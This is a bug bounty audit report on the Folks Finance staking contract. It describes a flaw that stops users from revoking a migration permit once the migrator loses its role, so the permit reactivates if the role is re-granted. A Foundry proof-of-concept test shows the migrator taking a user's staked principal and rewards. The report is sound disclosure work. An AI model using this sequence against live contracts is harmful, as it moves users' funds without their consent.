68903 sc low users cannot revoke a migration permit after the migrator loses migrator role allowing stale approval to reactivate if the same address is re granted the role
Submitted on Mar 11th 2026 at 21:30:32 UTC by @iam0x04 for Audit Comp | Folks Finance: Staking Contracts
- Report ID: #68903
- Report Type: Smart Contract
- Report severity: Low
- Target: https://github.com/Folks-Finance/folks-staking-contracts/blob/main/src/Staking.sol
- Impacts:
- a stale approval can later be reused to migrate a user’s active position without fresh consent.
Description
Brief/Intro
setMigrationPermit() blocks both granting and revoking permission behind a live MIGRATOR_ROLE check. As a result, if a user previously approved a migrator, and that migrator later loses its role, the user can no longer clear the stored approval. If the same address is granted MIGRATOR_ROLE again in the future, the stale approval becomes active again and the migrator can move the user’s still-open staking position without fresh consent, breaking the intended “user-controlled migration” model.
Vulnerability Details
function setMigrationPermit(address _migrator, bool _isMigrationPermitted) external {
if (!hasRole(MIGRATOR_ROLE, _migrator)) revert MigratorNotFound(_migrator);
migrationPermits[_migrator][msg.sender] = _isMigrationPermitted;
emit MigrationPermitUpdated(_migrator, msg.sender, _isMigrationPermitted);
}
This function applies the same hasRole(MIGRATOR_ROLE, _migrator) gate to both:
- enabling a permit with
true - disabling a permit with
false
That creates the following broken state transition:
- A user grants migration permission to migrator M by calling
setMigrationPermit(M, true). - Later, M loses
MIGRATOR_ROLE. - The user attempts to revoke the old approval with
setMigrationPermit(M, false). - The call reverts with
MigratorNotFound(M)because M no longer has the role. - The old value in
migrationPermits[M][user]remainstrue. - If M is re-granted
MIGRATOR_ROLElater, the stale approval is immediately valid again.
The stale approval is then consumed by migratePositionsFrom()
if (!migrationPermits[msg.sender][user]) revert MigratorNotPermitted(msg.sender, user);
...
TOKEN.safeTransfer(msg.sender, unclaimedUserAmount + unclaimedUserRewards);
Once the role is re-granted, the old permit is enough for the migrator to pass authorization and receive the user’s remaining principal and rewards from the staking contract.
This is also inconsistent with the documentation in README.md (line 136), which states that migration permission "can be revoked at any time."
Impact Details
The impact is that a stale migration approval can later be reused to migrate a user’s active position without fresh consent if the same address is re-granted MIGRATOR_ROLE.
Proof of Concept
Put this file under the test folder.
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.23;
import "./Staking.t.sol";
contract StaleMigrationPermitRegrantPoC is StakingTest {
function test_poc_staleMigrationPermitCanBeUsedAfterRoleRegrant() public {
deal(address(token), address(staking), 1000 ether);
deal(address(token), alice, 100 ether);
uint8 periodIndex = addStakingPeriodByManager(50 ether, 20, 10, 5000, true);
approveAndStake(alice, periodIndex, 10 ether, 20, 10, 5000, address(0));
vm.prank(alice);
staking.setMigrationPermit(migrator, true);
assertTrue(staking.migrationPermits(migrator, alice));
vm.prank(admin);
staking.revokeRole(keccak256("MIGRATOR"), migrator);
vm.expectRevert(abi.encodeWithSelector(IStakingV1.MigratorNotFound.selector, migrator));
vm.prank(alice);
staking.setMigrationPermit(migrator, false);
assertTrue(staking.migrationPermits(migrator, alice));
vm.prank(admin);
staking.grantRole(keccak256("MIGRATOR"), migrator);
uint256 expectedTransferredBalance = 10 ether + calculateReward(10 ether, 20, 5000);
vm.prank(migrator);
IStakingV1.UserStake[] memory migratedStakes = staking.migratePositionsFrom(alice);
assertEq(migratedStakes.length, 1);
assertEq(migratedStakes[0].amount, 10 ether);
assertEq(staking.getUserStakes(alice).length, 0);
assertEq(token.balanceOf(migrator), expectedTransferredBalance);
}
}
- Alice stakes
10 etherinto the staking contract. - Alice explicitly grants migration permission to
migrator. - Admin revokes
MIGRATOR_ROLEfrommigrator. - Alice tries to revoke the old permission, but the call reverts with
MigratorNotFound. - The stored approval remains
trueeven though the migrator was deauthorized. - Admin grants
MIGRATOR_ROLEback to the samemigratoraddress. - The migrator successfully calls
migratePositionsFrom(alice)using the stale approval. - The test confirms Alice’s stake is removed and the migrator receives Alice’s principal plus reward.
forge test --mt test_poc_staleMigrationPermitCanBeUsedAfterRoleRegrant